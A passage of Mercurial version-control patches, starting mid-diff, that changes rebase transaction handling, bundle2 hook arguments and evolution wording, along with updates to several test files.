-  abort: key 'amend_source' is used internally, can't be set manually
-  [255]
 
 Make sure we do not obscure unknown requires file entries (issue2649)
 
diff --git a/tests/test-devel-warnings.t b/tests/test-devel-warnings.t
--- a/tests/test-devel-warnings.t
+++ b/tests/test-devel-warnings.t
@@ -129,7 +129,7 @@
   $ hg commit -m a
   $ hg stripintr 2>&1 | egrep -v '^(\*\*|  )'
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: cannot strip from inside a transaction
+  *ProgrammingError: cannot strip from inside a transaction (glob)
 
   $ hg oldanddeprecated
   devel-warn: foorbar is deprecated, go shopping
@@ -187,7 +187,7 @@
   ** Extensions loaded: * (glob)
   ** ProgrammingError: transaction requires locking
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: transaction requires locking
+  *ProgrammingError: transaction requires locking (glob)
 
   $ hg programmingerror 2>&1 | egrep -v '^  '
   ** Unknown exception encountered with possibly-broken third-party extension buggylocking
@@ -200,7 +200,7 @@
   ** ProgrammingError: something went wrong
   ** (try again)
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: something went wrong
+  *ProgrammingError: something went wrong (glob)
 
 Old style deprecation warning
 
diff --git a/tests/test-dirstate-race.t b/tests/test-dirstate-race.t
--- a/tests/test-dirstate-race.t
+++ b/tests/test-dirstate-race.t
@@ -204,12 +204,16 @@
   $ hg commit -m c4
   created new head
 
-Configure a merge tool that runs status in the middle of the rebase.
+Configure a merge tool that runs status in the middle of the rebase. The goal of
+the status call is to trigger a potential bug if fsmonitor's state is written
+even though the wlock is held by another process. The output of 'hg status' in
+the merge tool goes to /dev/null because we're more interested in the results of
+'hg status' run after the rebase.
 
   $ cat >> $TESTTMP/mergetool-race.sh << EOF
   > echo "custom merge tool"
   > printf "c2\nc3\nc4\n" > \$1
-  > hg --cwd "$TESTTMP/repo" status
+  > hg --cwd "$TESTTMP/repo" status > /dev/null
   > echo "custom merge tool end"
   > EOF
   $ cat >> $HGRCPATH << EOF
@@ -220,14 +224,10 @@
   > test.args=$TESTTMP/mergetool-race.sh \$output
   > EOF
 
-BROKEN: the "M b" line should not be there
   $ hg rebase -s . -d 3 --tool test
   rebasing 4:b08445fd6b2a "c4" (tip)
   merging a
   custom merge tool
-  M a
-  M b
-  ? a.orig
   custom merge tool end
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/* (glob)
 
diff --git a/tests/test-fncache.t b/tests/test-fncache.t
--- a/tests/test-fncache.t
+++ b/tests/test-fncache.t
@@ -270,7 +270,11 @@
   > cmdtable = {}
   > 
   > EOF
+
+Clean cached version
   $ rm -f "${extpath}c"
+  $ rm -Rf "`dirname $extpath`/__pycache__"
+
   $ touch z
   $ hg ci -qAm z
   transaction abort!
@@ -305,7 +309,11 @@
   > cmdtable = {}
   > 
   > EOF
+
+Clean cached versions
   $ rm -f "${extpath}c"
+  $ rm -Rf "`dirname $extpath`/__pycache__"
+
   $ hg up -q 1
   $ touch z
   $ hg ci -qAm z 2>/dev/null
diff --git a/tests/test-https.t b/tests/test-https.t
--- a/tests/test-https.t
+++ b/tests/test-https.t
@@ -605,14 +605,12 @@
 
   $ hg serve -p $HGPORT --certificate=/missing/certificate \
   > --config devel.servercafile=$PRIV --config devel.serverrequirecert=true
-  abort: referenced certificate file (*/missing/certificate) does not exist (glob) (windows !)
-  abort: referenced certificate file (/missing/certificate) does not exist (no-windows !)
+  abort: referenced certificate file (*/missing/certificate) does not exist (glob)
   [255]
 
   $ hg serve -p $HGPORT --certificate=$PRIV \
   > --config devel.servercafile=/missing/cafile --config devel.serverrequirecert=true
-  abort: referenced certificate file (*/missing/cafile) does not exist (glob) (windows !)
-  abort: referenced certificate file (/missing/cafile) does not exist (no-windows !)
+  abort: referenced certificate file (*/missing/cafile) does not exist (glob)
   [255]
 
 Start hgweb that requires client certificates:
@@ -657,14 +655,12 @@
 Missing certficate and key files result in error
 
   $ hg id https://localhost:$HGPORT/ --config auth.l.cert=/missing/cert
-  abort: certificate file (*/missing/cert) does not exist; cannot connect to localhost (glob) (windows !)
-  abort: certificate file (/missing/cert) does not exist; cannot connect to localhost (no-windows !)
+  abort: certificate file (*/missing/cert) does not exist; cannot connect to localhost (glob)
   (restore missing file or fix references in Mercurial config)
   [255]
 
   $ hg id https://localhost:$HGPORT/ --config auth.l.key=/missing/key
-  abort: certificate file (*/missing/key) does not exist; cannot connect to localhost (glob) (windows !)
-  abort: certificate file (/missing/key) does not exist; cannot connect to localhost (no-windows !)
+  abort: certificate file (*/missing/key) does not exist; cannot connect to localhost (glob)
   (restore missing file or fix references in Mercurial config)
   [255]
 
diff --git a/tests/test-mac-packages.t b/tests/test-mac-packages.t
--- a/tests/test-mac-packages.t
+++ b/tests/test-mac-packages.t
@@ -9,6 +9,7 @@
   $ export KEEPMPKG
 
   $ cd "$TESTDIR"/..
+  $ contrib/genosxversion.py --selftest ignoredarg
   $ make osx > "$OUTPUTDIR/build.log" 2>&1
   $ cd "$OUTPUTDIR"
   $ ls -d *.pkg
@@ -27,6 +28,12 @@
 Spot-check some randomly selected files:
   $ grep bdiff boms.txt | cut -d '	' -f 1,2,3
   ./Library/Python/2.7/site-packages/mercurial/cext/bdiff.so	100755	0/0
+  ./Library/Python/2.7/site-packages/mercurial/cffi/bdiff.py	100644	0/0
+  ./Library/Python/2.7/site-packages/mercurial/cffi/bdiff.pyc	100644	0/0
+  ./Library/Python/2.7/site-packages/mercurial/cffi/bdiff.pyo	100644	0/0
+  ./Library/Python/2.7/site-packages/mercurial/cffi/bdiffbuild.py	100644	0/0
+  ./Library/Python/2.7/site-packages/mercurial/cffi/bdiffbuild.pyc	100644	0/0
+  ./Library/Python/2.7/site-packages/mercurial/cffi/bdiffbuild.pyo	100644	0/0
   ./Library/Python/2.7/site-packages/mercurial/pure/bdiff.py	100644	0/0
   ./Library/Python/2.7/site-packages/mercurial/pure/bdiff.pyc	100644	0/0
   ./Library/Python/2.7/site-packages/mercurial/pure/bdiff.pyo	100644	0/0
diff --git a/tests/test-match.py b/tests/test-match.py
new file mode 100644
--- /dev/null
+++ b/tests/test-match.py
@@ -0,0 +1,19 @@
+from __future__ import absolute_import
+
+import unittest
+
+import silenttestrunner
+
+from mercurial import (
+    match as matchmod,
+)
+
+class NeverMatcherTests(unittest.TestCase):
+
+    def testVisitdir(self):
+        m = matchmod.nevermatcher('', '')
+        self.assertFalse(m.visitdir('.'))
+        self.assertFalse(m.visitdir('dir'))
+
+if __name__ == '__main__':
+    silenttestrunner.main(__name__)
diff --git a/tests/test-profile.t b/tests/test-profile.t
--- a/tests/test-profile.t
+++ b/tests/test-profile.t
@@ -4,21 +4,22 @@
   $ hg init a
   $ cd a
 
+Function to check that statprof ran
+  $ statprofran () {
+  >   egrep 'Sample count:|No samples recorded' > /dev/null
+  > }
 
 test --profile
 
-  $ hg st --profile 2>&1 | grep Sample
-  Sample count: \d+ (re)
+  $ hg st --profile 2>&1 | statprofran
 
 Abreviated version
 
-  $ hg st --prof 2>&1 | grep Sample
-  Sample count: \d+ (re)
+  $ hg st --prof 2>&1 | statprofran
 
 In alias
 
-  $ hg --config "alias.profst=status --profile" profst 2>&1 | grep Sample
-  Sample count: \d+ (re)
+  $ hg --config "alias.profst=status --profile" profst 2>&1 | statprofran
 
 #if lsprof
 
@@ -81,26 +82,22 @@
 statistical profiler works
 
   $ hg --profile sleep 2>../out
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
 Various statprof formatters work
 
   $ hg --profile --config profiling.statformat=byline sleep 2>../out
   $ head -n 1 ../out
     %   cumulative      self          
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
   $ hg --profile --config profiling.statformat=bymethod sleep 2>../out
   $ head -n 1 ../out
     %   cumulative      self          
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
   $ hg --profile --config profiling.statformat=hotpath sleep 2>../out
-  $ grep Sample ../out
-  Sample count: \d+ (re)
+  $ cat ../out | statprofran
 
   $ hg --profile --config profiling.statformat=json sleep 2>../out
   $ cat ../out
diff --git a/tests/test-rebase-emptycommit.t b/tests/test-rebase-emptycommit.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-emptycommit.t
@@ -0,0 +1,202 @@
+  $ cat >> $HGRCPATH<<EOF
+  > [extensions]
+  > rebase=
+  > drawdag=$TESTDIR/drawdag.py
+  > EOF
+
+  $ hg init non-merge
+  $ cd non-merge
+  $ hg debugdrawdag<<'EOS'
+  >   F
+  >   |
+  >   E
+  >   |
+  >   D
+  >   |
+  > B C
+  > |/
+  > A
+  > EOS
+
+  $ for i in C D E F; do
+  >   hg bookmark -r $i -i BOOK-$i
+  > done
+
+  $ hg debugdrawdag<<'EOS'
+  > E
+  > |
+  > D
+  > |
+  > B
+  > EOS
+
+  $ hg log -G -T '{rev} {desc} {bookmarks}'
+  o  7 E
+  |
+  o  6 D
+  |
+  | o  5 F BOOK-F
+  | |
+  | o  4 E BOOK-E
+  | |
+  | o  3 D BOOK-D
+  | |
+  | o  2 C BOOK-C
+  | |
+  o |  1 B
+  |/
+  o  0 A
+  
+With --keep, bookmark should not move
+
+  $ hg rebase -r 3+4 -d E --keep
+  rebasing 3:e7b3f00ed42e "D" (BOOK-D)
+  note: rebase of 3:e7b3f00ed42e created no changes to commit
+  rebasing 4:69a34c08022a "E" (BOOK-E)
+  note: rebase of 4:69a34c08022a created no changes to commit
+  $ hg log -G -T '{rev} {desc} {bookmarks}'
+  o  7 E
+  |
+  o  6 D
+  |
+  | o  5 F BOOK-F
+  | |
+  | o  4 E BOOK-E
+  | |
+  | o  3 D BOOK-D
+  | |
+  | o  2 C BOOK-C
+  | |
+  o |  1 B
+  |/
+  o  0 A
+  
+Bookmark is usually an indication of a head. For changes that are introduced by
+an ancestor of bookmark B, after moving B to B-NEW, the changes are ideally
+still introduced by an ancestor of changeset on B-NEW. In the below case,
+"BOOK-D", and "BOOK-E" include changes introduced by "C".
+
+  $ hg rebase -s 2 -d E
+  rebasing 2:dc0947a82db8 "C" (C BOOK-C)
+  rebasing 3:e7b3f00ed42e "D" (BOOK-D)
+  note: rebase of 3:e7b3f00ed42e created no changes to commit
+  rebasing 4:69a34c08022a "E" (BOOK-E)
+  note: rebase of 4:69a34c08022a created no changes to commit
+  rebasing 5:6b2aeab91270 "F" (F BOOK-F)
+  saved backup bundle to $TESTTMP/non-merge/.hg/strip-backup/dc0947a82db8-52bb4973-rebase.hg (glob)
+  $ hg log -G -T '{rev} {desc} {bookmarks}'
+  o  5 F BOOK-F
+  |
+  o  4 C BOOK-C BOOK-D BOOK-E
+  |
+  o  3 E
+  |
+  o  2 D
+  |
+  o  1 B
+  |
+  o  0 A
+  
+Merge and its ancestors all become empty
+
+  $ hg init $TESTTMP/merge1
+  $ cd $TESTTMP/merge1
+
+  $ hg debugdrawdag<<'EOS'
+  >     E
+  >    /|
+  > B C D
+  >  \|/
+  >   A
+  > EOS
+
+  $ for i in C D E; do
+  >   hg bookmark -r $i -i BOOK-$i
+  > done
+
+  $ hg debugdrawdag<<'EOS'
+  > H
+  > |
+  > D
+  > |
+  > C
+  > |
+  > B
+  > EOS
+
+  $ hg rebase -r '(A::)-(B::)-A' -d H
+  rebasing 2:dc0947a82db8 "C" (BOOK-C)
+  note: rebase of 2:dc0947a82db8 created no changes to commit
+  rebasing 3:b18e25de2cf5 "D" (BOOK-D)
+  note: rebase of 3:b18e25de2cf5 created no changes to commit
+  rebasing 4:86a1f6686812 "E" (E BOOK-E)
+  note: rebase of 4:86a1f6686812 created no changes to commit
+  saved backup bundle to $TESTTMP/merge1/.hg/strip-backup/b18e25de2cf5-1fd0a4ba-rebase.hg (glob)
+
+  $ hg log -G -T '{rev} {desc} {bookmarks}'
+  o  4 H BOOK-C BOOK-D BOOK-E
+  |
+  o  3 D
+  |
+  o  2 C
+  |
+  o  1 B
+  |
+  o  0 A
+  
+Part of ancestors of a merge become empty
+
+  $ hg init $TESTTMP/merge2
+  $ cd $TESTTMP/merge2
+
+  $ hg debugdrawdag<<'EOS'
+  >     G
+  >    /|
+  >   E F
+  >   | |
+  > B C D
+  >  \|/
+  >   A
+  > EOS
+
+  $ for i in C D E F G; do
+  >   hg bookmark -r $i -i BOOK-$i
+  > done
+
+  $ hg debugdrawdag<<'EOS'
+  > H
+  > |
+  > F
+  > |
+  > C
+  > |
+  > B
+  > EOS
+
+  $ hg rebase -r '(A::)-(B::)-A' -d H
+  rebasing 2:dc0947a82db8 "C" (BOOK-C)
+  note: rebase of 2:dc0947a82db8 created no changes to commit
+  rebasing 3:b18e25de2cf5 "D" (D BOOK-D)
+  rebasing 4:03ca77807e91 "E" (E BOOK-E)
+  rebasing 5:ad6717a6a58e "F" (BOOK-F)
+  note: rebase of 5:ad6717a6a58e created no changes to commit
+  rebasing 6:c58e8bdac1f4 "G" (G BOOK-G)
+  saved backup bundle to $TESTTMP/merge2/.hg/strip-backup/b18e25de2cf5-2d487005-rebase.hg (glob)
+
+  $ hg log -G -T '{rev} {desc} {bookmarks}'
+  o    7 G BOOK-G
+  |\
+  | o  6 E BOOK-E
+  | |
+  o |  5 D BOOK-D BOOK-F
+  |/
+  o  4 H BOOK-C
+  |
+  o  3 F
+  |
+  o  2 C
+  |
+  o  1 B
+  |
+  o  0 A
+  
diff --git a/tests/test-static-http.t b/tests/test-static-http.t
--- a/tests/test-static-http.t
+++ b/tests/test-static-http.t
@@ -156,4 +156,53 @@
   $ hg clone static-http://localhost:$HGPORT/notarepo local3
   abort: 'http://localhost:$HGPORT/notarepo' does not appear to be an hg repository!
   [255]
+
+Clone with tags and branches works
+
+  $ hg init remote-with-names
+  $ cd remote-with-names
+  $ echo 0 > foo
+  $ hg -q commit -A -m initial
+  $ echo 1 > foo
+  $ hg commit -m 'commit 1'
+  $ hg -q up 0
+  $ hg branch mybranch
+  marked working directory as branch mybranch
+  (branches are permanent and global, did you want a bookmark?)
+  $ echo 2 > foo
+  $ hg commit -m 'commit 2 (mybranch)'
+  $ hg tag -r 1 'default-tag'
+  $ hg tag -r 2 'branch-tag'
+
+  $ cd ..
+
+  $ hg clone static-http://localhost:$HGPORT/remote-with-names local-with-names
+  requesting all changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 5 changesets with 5 changes to 2 files (+1 heads)
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Clone a specific branch works
+
+  $ hg clone -r mybranch static-http://localhost:$HGPORT/remote-with-names local-with-names-branch
+  adding changesets
+  adding manifests
+  adding file changes
+  added 4 changesets with 4 changes to 2 files
+  updating to branch mybranch
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Clone a specific tag works
+
+  $ hg clone -r default-tag static-http://localhost:$HGPORT/remote-with-names local-with-names-tag
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 1 files
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
   $ killdaemons.py
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1500539441 25200
#      Thu Jul 20 01:30:41 2017 -0700
# Node ID 609606d217659e0a6c1cf6f907b6512be5340e57
# Parent  658524d45af0dbb627b25d795ed84227a20fd634
rebase: use one dirstateguard for when using rebase.singletransaction

This was previously landed as 2519994d25ca but backed out in b63351f6a2 because
it broke hooks mid-rebase and caused conflict resolution data loss in the event
of unexpected exceptions. This new version adds the behavior back but behind a
config flag, since the performance improvement is notable in large repositories.

The old commit message was:

Recently we switched rebases to run the entire rebase inside a single
transaction, which dramatically improved the speed of rebases in repos with
large working copies. Let's also move the dirstate into a single dirstateguard
to get the same benefits. This let's us avoid serializing the dirstate after
each commit.

In a large repo, rebasing 27 commits is sped up by about 20%.

I believe the test changes are because us touching the dirstate gave the
transaction something to actually rollback.
(grafted from 9e3dc3a1638b9754b58a0cb26aaa75d868058109)
(grafted from 7d38b41d2266d9a02a15c64229fae0da5738dcec)

Differential Revision: https://phab.mercurial-scm.org/D135

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -479,12 +479,17 @@
                 editopt = True
             editor = cmdutil.getcommiteditor(edit=editopt, editform=editform)
             revtoreuse = max(self.state)
-            newnode = concludenode(repo, revtoreuse, p1, self.external,
-                                   commitmsg=commitmsg,
-                                   extrafn=_makeextrafn(self.extrafns),
-                                   editor=editor,
-                                   keepbranches=self.keepbranchesf,
-                                   date=self.date)
+
+            dsguard = None
+            if ui.configbool('rebase', 'singletransaction'):
+                dsguard = dirstateguard.dirstateguard(repo, 'rebase')
+            with util.acceptintervention(dsguard):
+                newnode = concludenode(repo, revtoreuse, p1, self.external,
+                                       commitmsg=commitmsg,
+                                       extrafn=_makeextrafn(self.extrafns),
+                                       editor=editor,
+                                       keepbranches=self.keepbranchesf,
+                                       date=self.date)
             if newnode is None:
                 newrev = self.dest
             else:
@@ -711,10 +716,16 @@
                 return retcode
 
         tr = None
-        if ui.configbool('rebase', 'singletransaction'):
+        dsguard = None
+
+        singletr = ui.configbool('rebase', 'singletransaction')
+        if singletr:
             tr = repo.transaction('rebase')
         with util.acceptintervention(tr):
-            rbsrt._performrebase(tr)
+            if singletr:
+                dsguard = dirstateguard.dirstateguard(repo, 'rebase')
+            with util.acceptintervention(dsguard):
+                rbsrt._performrebase(tr)
 
         rbsrt._finishrebase()
 
@@ -841,8 +852,10 @@
     '''Commit the wd changes with parents p1 and p2. Reuse commit info from rev
     but also store useful information in extra.
     Return node of committed revision.'''
-    dsguard = dirstateguard.dirstateguard(repo, 'rebase')
-    try:
+    dsguard = util.nullcontextmanager()
+    if not repo.ui.configbool('rebase', 'singletransaction'):
+        dsguard = dirstateguard.dirstateguard(repo, 'rebase')
+    with dsguard:
         repo.setparents(repo[p1].node(), repo[p2].node())
         ctx = repo[rev]
         if commitmsg is None:
@@ -864,10 +877,7 @@
                                   date=date, extra=extra, editor=editor)
 
         repo.dirstate.setbranch(repo[newnode].branch())
-        dsguard.close()
         return newnode
-    finally:
-        release(dsguard)
 
 def rebasenode(repo, rev, p1, base, state, collapse, dest):
     'Rebase a single revision rev on top of p1 using base as merge ancestor'
diff --git a/mercurial/dirstateguard.py b/mercurial/dirstateguard.py
--- a/mercurial/dirstateguard.py
+++ b/mercurial/dirstateguard.py
@@ -43,6 +43,16 @@
             # ``release(tr, ....)``.
             self._abort()
 
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        try:
+            if exc_type is None:
+                self.close()
+        finally:
+            self.release()
+
     def close(self):
         if not self._active: # already inactivated
             msg = (_("can't close already inactivated backup: %s")
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -602,6 +602,10 @@
     finally:
         tr.release()
 
+@contextlib.contextmanager
+def nullcontextmanager():
+    yield
+
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
diff --git a/tests/test-rebase-base.t b/tests/test-rebase-base.t
--- a/tests/test-rebase-base.t
+++ b/tests/test-rebase-base.t
@@ -379,3 +379,40 @@
    /
   o  0: A
   
+Rebasing using a single transaction
+
+  $ hg init singletr && cd singletr
+  $ cat >> .hg/hgrc <<EOF
+  > [rebase]
+  > singletransaction=True
+  > EOF
+  $ hg debugdrawdag <<'EOF'
+  >   Z
+  >   |
+  >   | D
+  >   | |
+  >   | C
+  >   | |
+  >   Y B
+  >   |/
+  >   A
+  > EOF
+- We should only see two status stored messages. One from the start, one from
+- the end.
+  $ hg rebase --debug -b D -d Z | grep 'status stored'
+  rebase status stored
+  rebase status stored
+  $ hg tglog
+  o  5: D
+  |
+  o  4: C
+  |
+  o  3: B
+  |
+  o  2: Z
+  |
+  o  1: Y
+  |
+  o  0: A
+  
+  $ cd ..
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1501623522 -19800
#      Wed Aug 02 03:08:42 2017 +0530
# Node ID f3407d56a6e8fa9d4f56ee745b0369490a714f1c
# Parent  609606d217659e0a6c1cf6f907b6512be5340e57
bundle2: add the capability to store hookargs on bundle operation object

There are extensions like pushrebase, pushvars which run hooks on a server
before taking the lock. Since the lock is not taken, transaction is not there,
so the hookargs can't be stored on the transaction. Adding hooksargs to bundle
operation object will help in running hooks before taking the lock.

This is a part of moving fb's extension bundle2hooks to core.

Differential Revision: https://phab.mercurial-scm.org/D208

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -299,6 +299,10 @@
         self.gettransaction = transactiongetter
         self.reply = None
         self.captureoutput = captureoutput
+        self.hookargs = {}
+
+    def addhookargs(self, hookargs):
+        self.hookargs.update(hookargs)
 
 class TransactionUnavailable(RuntimeError):
     pass
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1501624386 -19800
#      Wed Aug 02 03:23:06 2017 +0530
# Node ID 5fc4ddfbe62601613ad68bcfa194c209ccf2fd30
# Parent  f3407d56a6e8fa9d4f56ee745b0369490a714f1c
bundle2: load hookargs from bundleoperation into transaction when started one

When a transaction is started, we must load the hookargs from the
bundleoperation object to the transaction so that they can be used in the
transaction. Also this patch makes sure no more hookargs are added to the
bundleoperation object once the transaction starts.

This is a part of porting fb extension bundle2hooks to core.

Differential Revision: https://phab.mercurial-scm.org/D209

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -296,12 +296,31 @@
         self.repo = repo
         self.ui = repo.ui
         self.records = unbundlerecords()
-        self.gettransaction = transactiongetter
         self.reply = None
         self.captureoutput = captureoutput
         self.hookargs = {}
+        self._gettransaction = transactiongetter
+
+    def gettransaction(self):
+        transaction = self._gettransaction()
+
+        if self.hookargs is not None:
+            # the ones added to the transaction supercede those added
+            # to the operation.
+            self.hookargs.update(transaction.hookargs)
+            transaction.hookargs = self.hookargs
+
+            # mark the hookargs as flushed.  further attempts to add to
+            # hookargs will result in an abort.
+            self.hookargs = None
+
+        return transaction
 
     def addhookargs(self, hookargs):
+        if self.hookargs is None:
+            raise error.Abort(
+                _('attempted to add hooks to operation after transaction '
+                  'started'))
         self.hookargs.update(hookargs)
 
 class TransactionUnavailable(RuntimeError):
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -120,7 +120,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -184,7 +184,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -259,7 +259,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -742,7 +742,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1056,7 +1056,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1141,7 +1141,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1298,7 +1298,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1502,7 +1502,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
@@ -1798,7 +1798,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
@@ -1891,7 +1891,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
@@ -2052,7 +2052,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: no-transaction
+  bundle2-input-bundle: with-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501601968 -7200
#      Tue Aug 01 17:39:28 2017 +0200
# Node ID 6f4bc9688ca9fc6efd8654b1eaa51f8828a9e85b
# Parent  5fc4ddfbe62601613ad68bcfa194c209ccf2fd30
evolution: rename trouble(s) to instability

Rename trouble(s) to instability in all external user-facing output. Only
update user-facing output for the moment, variables names, templates keyword
and potentially configuration would be done in later series.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D213

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1579,7 +1579,7 @@
 
         if ctx.troubled():
             # i18n: column positioning for "hg log"
-            self.ui.write(_("trouble:     %s\n") % ', '.join(ctx.troubles()),
+            self.ui.write(_("instability: %s\n") % ', '.join(ctx.troubles()),
                           label='log.trouble')
 
         self._exthook(ctx)
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -610,7 +610,7 @@
   parent:      11:3334b7925910
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     unstable
+  instability: unstable
   summary:     babar
   
 
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -442,14 +442,14 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: divergent
   |  summary:     A2
   |
   | o  changeset:   2:fdf9bde5129a
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    trouble:     divergent
+  |    instability: divergent
   |    summary:     A1
   |
